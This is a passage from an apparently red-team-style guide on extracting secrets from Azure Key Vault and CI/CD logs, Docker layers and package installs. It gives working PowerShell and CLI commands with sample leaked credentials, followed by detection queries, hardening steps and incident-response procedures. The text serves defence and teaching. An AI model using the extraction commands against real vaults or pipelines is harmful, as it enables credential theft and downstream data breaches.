$SecretResponse = Invoke-WebRequest -Uri $SecretUri -Headers $Headers -UseBasicParsing | ConvertFrom-Json
$SecretValue = $SecretResponse.value
Write-Host "[+] $SecretName = $SecretValue"
}
Expected Output:
[*] Found 6 secrets
[+] app-db-password = Server=sqldb.database.windows.net;Database=ProductionDB;User ID=sa;Password=Sup3rS3cur3P@ss!
[+] app-api-key-stripe = sk_live_51HZ7LC2eZvKa46r0N59a5zX8K0pXR6n3Y8m9O0p1Q2r3S4t5U6v7W8x9Y0z1A2b
[+] client-secret-adfs = a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f
Supported Versions: GitHub Actions, Azure DevOps, GitLab CI, Jenkins (all platforms)
Prerequisites: Access to CI/CD logs or artifact storage (often world-readable)
Difficulty: Low (secrets often logged unintentionally)
Objective: Find pipeline logs containing secrets in environment variables or debug output.
Command (GitHub Actions - Extract from Job Logs):
# GitHub Actions logs often expose secrets in workflow output
# If you have repo access:
gh run view RUN_ID --log # Download logs for a specific run
# Secrets often appear in:
# - Debug output from "run: echo $SECRET"
# - Terraform/Ansible debug mode
# - Docker build logs with ARG secrets
# - pip/npm install logs with token URLs
Command (Azure DevOps - Extract from Pipeline Logs):
# Azure DevOps Classic UI:
# Project Settings → Pipelines → [PipelineName] → Logs
# Often contains: "##vso[task.setvariable variable=SECRET]..."
# Via REST API:
$PAT = "your-personal-access-token"
$Org = "contoso"
$Project = "MyProject"
$PipelineId = "123"
$Auth = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$PAT"))
$Headers = @{Authorization = "Basic $Auth"}
# Get pipeline logs
$Uri = "https://dev.azure.com/$Org/$Project/_apis/pipelines/$PipelineId/runs?api-version=6.0"
$Runs = Invoke-RestMethod -Uri $Uri -Headers $Headers
foreach ($Run in $Runs.value) {
$LogUri = "https://dev.azure.com/$Org/$Project/_apis/build/builds/$($Run.id)/logs?api-version=6.0"
$Logs = Invoke-RestMethod -Uri $LogUri -Headers $Headers
Write-Host $Logs
}
Expected Output:
[pipeline secret exposure]
Setting Secret value in environment
export DB_PASSWORD="Sup3rS3cur3P@ss!"
export API_KEY="sk_live_51HZ7LC..."
Running terraform plan with secrets
...
Objective: Find secrets in artifact repositories or container image layers.
Command (Docker Image Layer Inspection - Extract Secret from Build):
# If you find Docker image used by pipeline:
docker history image-name # Shows layer history
# Secrets often in:
# - RUN export SECRET=value
# - COPY /secrets /app/
# - Compiled binaries with hardcoded secrets
# Extract from running container (if accessible)
docker exec container-id env # Show environment variables
Command (Artifact Repository - GitHub Packages / npm / PyPI):
# If package contains secrets:
npm view package-name # May show token in registry URL
pip install --verbose package-name # Often logs auth tokens
Expected Output:
Registry URL: https://npm.pkg.github.com/
Auth token exposed in URL: ghp_1234567890abcdefghijklmnopqrstuvwxyz
Get-ChildItem -Path "$env:USERPROFILE\.azure" -RecurseExecution Command:
Invoke-AtomicTest T1552.001 -TestNumbers 15
Invoke-AtomicTest T1098.001 -TestNumbers 1
Reference: Atomic Red Team Azure Tests - GitHub
Rule Configuration:
azure_activity or custom Azure indexazure:audit or azure:activitySPL Query:
sourcetype=azure:activity OperationName="GetSecret" ResultType="Success"
| stats count by CallerIpAddress, CorrelationId, UserPrincipalName
| where count >= 10
| fields - count
What This Detects:
Manual Configuration (Splunk Web):
False Positive Analysis:
NOT UserPrincipalName IN ("svc_app@contoso.com", "svc_rotation@contoso.com")
NOT CallerIpAddress IN ("10.0.0.1", "192.168.1.1") # Known app servers
Rule Configuration:
azure_activityazure:auditSPL Query:
sourcetype=azure:activity OperationName="Update Key Vault Access Policy"
| stats count by UserPrincipalName, CallerIpAddress, ResourceName
What This Detects:
Rule Configuration:
AzureActivityKQL Query:
AzureActivity
| where OperationName == "GetSecret" or OperationName == "ListSecrets"
| where ActivityStatus =~ "Success"
| extend Caller = tostring(Caller)
| summarize SecretAccessCount = count(), FirstAccessTime = min(TimeGenerated), LastAccessTime = max(TimeGenerated) by Caller, CallerIpAddress, tostring(Resource)
| where SecretAccessCount >= 10 // Threshold: 10+ secrets in 5 minutes
| project Caller, CallerIpAddress, Resource, SecretAccessCount, FirstAccessTime, LastAccessTime
Manual Configuration (Azure Portal):
Mass Secret Retrieval from Key VaultExpected Alert Output:
Caller: user@contoso.com
CallerIpAddress: 203.0.113.50
Resource: prod-keyvault-001
SecretAccessCount: 15
FirstAccessTime: 2026-01-06 11:05:22
LastAccessTime: 2026-01-06 11:09:45
Rule Configuration:
AzureActivityKQL Query:
AzureActivity
| where OperationName startswith "Update Key Vault Access Policy"
| where ActivityStatus =~ "Success"
| extend Properties = parse_json(Properties)
| project TimeGenerated, Caller, CallerIpAddress, Resource, Properties
| where Properties.statusCode == 200 or Properties.statusCode == ""
What This Detects:
Operations to Monitor:
Log Source: Azure Activity Log → AzureActivity table in Sentinel
Manual Configuration (Enable Diagnostic Logging):
Verify Logging:
# Check if diagnostic settings configured
Get-AzDiagnosticSetting -ResourceId "/subscriptions/{subId}/resourcegroups/{rg}/providers/microsoft.keyvault/vaults/{vaultName}"
# Confirm logs appearing in Sentinel
# In Sentinel: Logs → Run query:
# AzureDiagnostics | where ResourceType == "KEYVAULT" | take 10
Objective: Eliminate the privilege escalation vector where “Key Vault Contributor” can modify access policies to grant themselves secret access.
Applies To: All Key Vaults using Access Policies (legacy model)
Impact: Prevents Privilege Escalation via Access Policy Modification (METHOD 2)
Manual Steps (Migrate to RBAC - Azure Portal):
Manual Steps (Verify Migration - PowerShell):
$VaultName = "prod-keyvault-001"
$Vault = Get-AzKeyVault -VaultName $VaultName
if ($Vault.EnableRbacAuthorization -eq $true) {
Write-Host "[+] RBAC enabled successfully" -ForegroundColor Green
} else {
Write-Host "[-] RBAC not enabled - still using Access Policies" -ForegroundColor Red
}
# Verify RBAC role assignments created
Get-AzRoleAssignment -ResourceGroupName $Vault.ResourceGroupName -ResourceName $VaultName -ResourceType "Microsoft.KeyVault/vaults"
Expected Output (Secure Configuration):
[+] RBAC enabled successfully
RoleDefinitionName DisplayName ObjectType Scope
------------------ ----------- ---------- -----
Key Vault Secrets User john.admin@contoso.com User /subscriptions/.../prod-keyvault-001
Key Vault Secrets Officer svc_app@contoso.com ServicePrincipal /subscriptions/.../prod-keyvault-001
Key Vault Contributor infra-team@contoso.com Group /subscriptions/.../prod-keyvault-001
Benefits of RBAC:
Validation Command (Verify Escalation Blocked):
# After RBAC migration, attempt access policy modification:
$VaultName = "prod-keyvault-001"
$ResourceGroupName = "production-rg"
$ObjectId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
try {
Update-AzKeyVaultAccessPolicy -VaultName $VaultName -ObjectId $ObjectId -PermissionsToSecrets "Get" -ErrorAction Stop
Write-Host "[-] Access policy modified - escalation still possible!" -ForegroundColor Red
} catch {
Write-Host "[+] Access policy modification blocked - RBAC enforced!" -ForegroundColor Green
}
Expected Output (Secure):
[+] Access policy modification blocked - RBAC enforced!
Update-AzKeyVaultAccessPolicy : The operation "Microsoft.KeyVault/vaults/accessPolicies/write" is not allowed
References:
Objective: Prevent assignment of “Key Vault Contributor” role (which can modify access policies) to untrusted principals.
Applies To: All Key Vaults
Impact: Prevents access policy escalation even if RBAC partially misconfigured
Manual Steps (Remove Unnecessary Contributor Assignments - PowerShell):
# Find all Contributor role assignments on Key Vaults
$VaultName = "prod-keyvault-001"
$ResourceGroupName = "production-rg"
$ContributorRoles = Get-AzRoleAssignment -ResourceGroupName $ResourceGroupName `
-ResourceName $VaultName `
-ResourceType "Microsoft.KeyVault/vaults" |
Where-Object {$_.RoleDefinitionName -eq "Contributor"}
Write-Host "Contributor role assignments:"
$ContributorRoles | Select-Object DisplayName, ObjectId, RoleDefinitionName
# Remove unnecessary Contributor assignments
foreach ($Assignment in $ContributorRoles) {
# Verify it's not a critical infrastructure team
if ($Assignment.DisplayName -notmatch "infra-team|platform-eng|devops-admins") {
Write-Host "Removing Contributor for: $($Assignment.DisplayName)"
Remove-AzRoleAssignment -ObjectId $Assignment.ObjectId `
-ResourceGroupName $ResourceGroupName `
-ResourceName $VaultName `
-ResourceType "Microsoft.KeyVault/vaults" `
-RoleDefinitionName "Contributor"
}
}
Manual Steps (Use Azure Policy to Prevent Future Assignments):
Prevent Key Vault Contributor Role{
"if": {
"allOf": [
{"field": "type", "equals": "Microsoft.Authorization/roleAssignments"},
{"field": "Microsoft.Authorization/roleAssignments/roleDefinitionId", "contains": "key-vault-contributor"},
{"field": "Microsoft.Authorization/roleAssignments/principalType", "equals": "User"}
]
},
"then": {"effect": "deny"}
}
Validation Command (Check Assignments):
# Verify no Contributor assignments remain
$ContributorCheck = Get-AzRoleAssignment -ResourceGroupName $ResourceGroupName `
-ResourceName $VaultName `
-ResourceType "Microsoft.KeyVault/vaults" |
Where-Object {$_.RoleDefinitionName -eq "Contributor"}
if ($ContributorCheck.Count -eq 0) {
Write-Host "[+] No Contributor assignments - escalation vector removed!" -ForegroundColor Green
} else {
Write-Host "[-] Contributor assignments still present - risk remains" -ForegroundColor Red
}
References:
Objective: Capture all Key Vault access operations in logs and alert on suspicious patterns.
Applies To: All Key Vaults
Impact: Enables detection of secret extraction attempts
Manual Steps (Enable Diagnostic Logging - Azure Portal):
KV-Activity-LoggingManual Steps (Verify Logging - PowerShell):
# Confirm logging configured
$VaultName = "prod-keyvault-001"
$Vault = Get-AzKeyVault -VaultName $VaultName
$Vault | Get-AzDiagnosticSetting | Format-Table Name, Logs, Metrics
# Verify logs appearing in Sentinel
# In Sentinel → Logs → Run:
# AzureDiagnostics | where ResourceType == "KEYVAULT" | take 20
Manual Steps (Create Alert Rule - Sentinel):
Key Vault Secret Access AlertExpected Results (Logs Appearing):
AzureDiagnostics
| where ResourceType == "KEYVAULT"
| where OperationName in ("GetSecret", "ListSecrets")
| summarize by OperationName, CallerIPAddress, Identity
Validation Command (Test Alert):
# Manually retrieve a secret to trigger log entry
Connect-AzAccount
$Secret = Get-AzKeyVaultSecret -VaultName "prod-keyvault-001" -Name "test-secret"
# Wait 5 minutes, then check Sentinel Logs for new entry
# Query: AzureDiagnostics | where TimeGenerated > ago(10m) | where ResourceType == "KEYVAULT"
References:
Objective: Invalidate stolen secrets by automatically rotating them every 90 days (stolen credentials expire after rotation period).
Applies To: All secrets with regular access patterns (databases, APIs, service accounts)
Manual Steps (Configure Auto-Rotation - Azure Portal):
Example: Rotation Logic (Azure Function):
# Triggered when secret is about to rotate
# Function must: (1) Generate new secret, (2) Update source system, (3) Store new secret in Key Vault
param($InputObject)
$VaultName = "prod-keyvault-001"
$SecretName = "app-db-password"
$DatabaseServer = "sqldb.database.windows.net"
$DatabaseName = "ProductionDB"
$DatabaseUser = "sa"
# Generate new password
$NewPassword = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 32 | % {[char]$_})
# Update database
$ConnectionString = "Server=$DatabaseServer;Database=$DatabaseName;User ID=$DatabaseUser;Password=..."
# SQL: ALTER LOGIN sa WITH PASSWORD = '$NewPassword'
# Update Key Vault with new secret
$Secret = ConvertTo-SecureString -String "$NewPassword" -AsPlainText -Force
Set-AzKeyVaultSecret -VaultName $VaultName -Name $SecretName -SecretValue $Secret
Write-Host "[+] Secret rotated successfully"
Validation (Verify Rotation Scheduled):
# Check rotation policy
$Vault = Get-AzKeyVault -VaultName "prod-keyvault-001"
$Secret = Get-AzKeyVaultSecret -VaultName $Vault.VaultName -Name "app-db-password"
$Secret | Select-Object RotationPolicy, Created, Updated
Impact:
References:
Objective: Replace hardcoded secrets in application code with managed identities (automatic authentication).
Applies To: Azure-hosted applications (VMs, Functions, App Services, Kubernetes)
Impact: Reduces secrets in Key Vault and removes credential files in source code / CI/CD logs
Manual Steps (Assign Managed Identity to Azure VM):
Application Code (Use Managed Identity):
// Instead of: var secret = config["ConnectionString"]
// Use managed identity:
using Azure.Identity;
using Azure.Security.KeyVault.Secrets;
var client = new SecretClient(
new Uri("https://prod-keyvault-001.vault.azure.net/"),
new DefaultAzureCredential() // Automatically uses VM's managed identity
);
KeyVaultSecret secret = await client.GetSecretAsync("app-db-password");
string connectionString = secret.Value;
Validation (Test Managed Identity Access):
# From within Azure VM/Function:
$MetadataUri = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net"
$Token = (Invoke-WebRequest -Uri $MetadataUri -Headers @{Metadata="true"} -UseBasicParsing).Content | ConvertFrom-Json
Write-Host "[+] Managed Identity token obtained: $($Token.access_token.Substring(0, 50))..."
References:
Objective: Prevent accidental (or malicious) permanent deletion of secrets; maintain recovery capability.
Applies To: All Key Vaults containing critical secrets
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Enable soft delete and purge protection
Update-AzKeyVault -VaultName "prod-keyvault-001" `
-ResourceGroupName "production-rg" `
-EnableSoftDelete `
-EnablePurgeProtection
# Verify
Get-AzKeyVault -VaultName "prod-keyvault-001" | Select-Object EnableSoftDelete, EnablePurgeProtection
Expected Output:
EnableSoftDelete EnablePurgeProtection
---------------- ---------------------
True True
Impact:
Objective: Prevent attacker from continuing to access secrets while investigation proceeds.
Command (Disable Access to Vault):
# Option 1: Remove all RBAC role assignments (except emergency admin)
$VaultName = "prod-keyvault-001"
$ResourceGroupName = "production-rg"
$RoleAssignments = Get-AzRoleAssignment -ResourceGroupName $ResourceGroupName `
-ResourceName $VaultName `
-ResourceType "Microsoft.KeyVault/vaults"
foreach ($Assignment in $RoleAssignments) {
# Keep only emergency admin
if ($Assignment.DisplayName -notmatch "EmergencyAdmin") {
Remove-AzRoleAssignment -ObjectId $Assignment.ObjectId `
-ResourceGroupName $ResourceGroupName `
-ResourceName $VaultName `
-ResourceType "Microsoft.KeyVault/vaults" `
-RoleDefinitionName $Assignment.RoleDefinitionName
Write-Host "[+] Removed access for: $($Assignment.DisplayName)"
}
}
# Option 2: Enable network firewall (if accessible via private endpoint only)
Update-AzKeyVault -VaultName $VaultName `
-ResourceGroupName $ResourceGroupName `
-EnableFirewall `
-DefaultAction Deny
Expected Output:
[+] Removed access for: svc_app@contoso.com
[+] Removed access for: dev-team@contoso.com
[+] Vault network access restricted to authorized IPs only
What This Does:
Objective: Invalidate stolen secrets by changing them immediately.
Command (Rotate All Secrets - Bulk Update):
$VaultName = "prod-keyvault-001"
$AllSecrets = Get-AzKeyVaultSecret -VaultName $VaultName
foreach ($Secret in $AllSecrets) {
# Generate new secret value
$NewValue = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 32 | % {[char]$_})
# Update in Key Vault
$SecureValue = ConvertTo-SecureString -String $NewValue -AsPlainText -Force
Set-AzKeyVaultSecret -VaultName $VaultName -Name $Secret.Name -SecretValue $SecureValue
Write-Host "[+] Rotated secret: $($Secret.Name)"
# TODO: Update dependent systems (database, API, etc.) with new credentials
Write-Host "[!] MANUAL: Update $($Secret.Name) in dependent system"
}
What This Does:
Timeline for Rotation:
Objective: Determine what secrets were accessed and by whom; scope of compromise.
Command (Query Access Logs - Sentinel KQL):
// Find all secrets accessed by attacker
AzureActivity
| where OperationName in ("GetSecret", "ListSecrets")
| where ActivityStatus =~ "Success"
| where TimeGenerated between (datetime(2026-01-06 10:00:00Z) .. datetime(2026-01-06 12:00:00Z))
| extend SecretName = extractjson("$.Properties.resource", tostring(Properties))
| summarize AccessCount = count() by Caller, SecretName, CallerIpAddress
| order by AccessCount desc
Expected Output:
Caller: svc_attacker@contoso.com
SecretName: app-db-password, app-api-key-stripe, client-secret-adfs
AccessCount: 15
CallerIpAddress: 203.0.113.50
What This Means:
Business Impact Assessment:
Objective: Determine if attacker used stolen secrets to access other systems.
Command (Check for Downstream Usage):
# Query logs for suspicious authentication using stolen credentials
# 1. Database access logs
# SELECT * FROM sys.dm_exec_connections WHERE session_id > 50 AND last_read > [time of breach]
# Look for: connections from attacker IP, unusual time of day, high data volume
# 2. API access logs
# Check external API (Stripe, Salesforce, etc.) for unusual requests
# Look for: API calls creating/deleting resources, unusual patterns, from attacker IP
# 3. Cloud service access (Azure, AWS, etc.)
# Check CloudTrail / Activity Log for service principal activity
# Look for: resource creation, permission changes, data exports
Expected Findings (Serious Incident):
[!] Database: 2.5GB data exfiltration to 203.0.113.50 at 2026-01-06 11:30 UTC
[!] API: 50 API requests from attacker IP (create 10 new users, delete 5 others)
[!] Azure: Service principal used to create new storage account, configure firewall rules
Objective: Prevent attacker from using stolen credentials to maintain access.
Command (Disable Service Principal):
# Disable service principal if compromised
$ServicePrincipalId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
# Get service principal
$SP = Get-AzADServicePrincipal -ObjectId $ServicePrincipalId
# Disable (set account enabled to false)
Update-AzADServicePrincipal -ObjectId $ServicePrincipalId -AccountEnabled $false
Write-Host "[+] Service principal $($SP.DisplayName) disabled"
Write-Host "[!] Applications using this principal will fail - update config"
# Verify disabled
$SP = Get-AzADServicePrincipal -ObjectId $ServicePrincipalId
Write-Host "Enabled: $($SP.AccountEnabled)"
| Step | Phase | Technique | MITRE ID | Description | Enablement |
|---|---|---|---|---|---|
| 1 | Initial Access | Phishing / Malware | T1566 / T1190 | Compromise developer machine or CI/CD pipeline | Enables code execution |
| 2 | Execution | Cloud CLI / PowerShell | T1059 | Execute Azure commands on compromised system | Enables auth to Azure |
| 3 | Persistence | Create Service Principal | T1136 | Create attacker-controlled app identity in Entra ID | Enables future access |
| 4 | Privilege Escalation (Optional) | Access Policy Modification | T1552.001 | Escalate to read secrets via policy change | PREREQUISITE for METHOD 2 |
| 5 | Credential Access (Current) | Key Vault Secret Extraction | T1552.001 | Retrieve secrets from Azure Key Vault | Enables authentication to dependent systems |
| 6 | Lateral Movement | Use Stolen Credentials | T1550.001 | Authenticate to database, APIs, cloud services | Attacker now has legitimate access |
| 7 | Exfiltration | Cloud Data Staging | T1537 | Download data using stolen credentials | IMPACT: Data breach |
| 8 | Impact | Data Destruction | T1485 | Use admin credentials to delete backups, disable logging | FINAL IMPACT: Unrecoverable data loss |
../../../../[VictimConnectorType]/[VictimConnectionID]/[action]export AZURE_KEYVAULT_SECRET="..."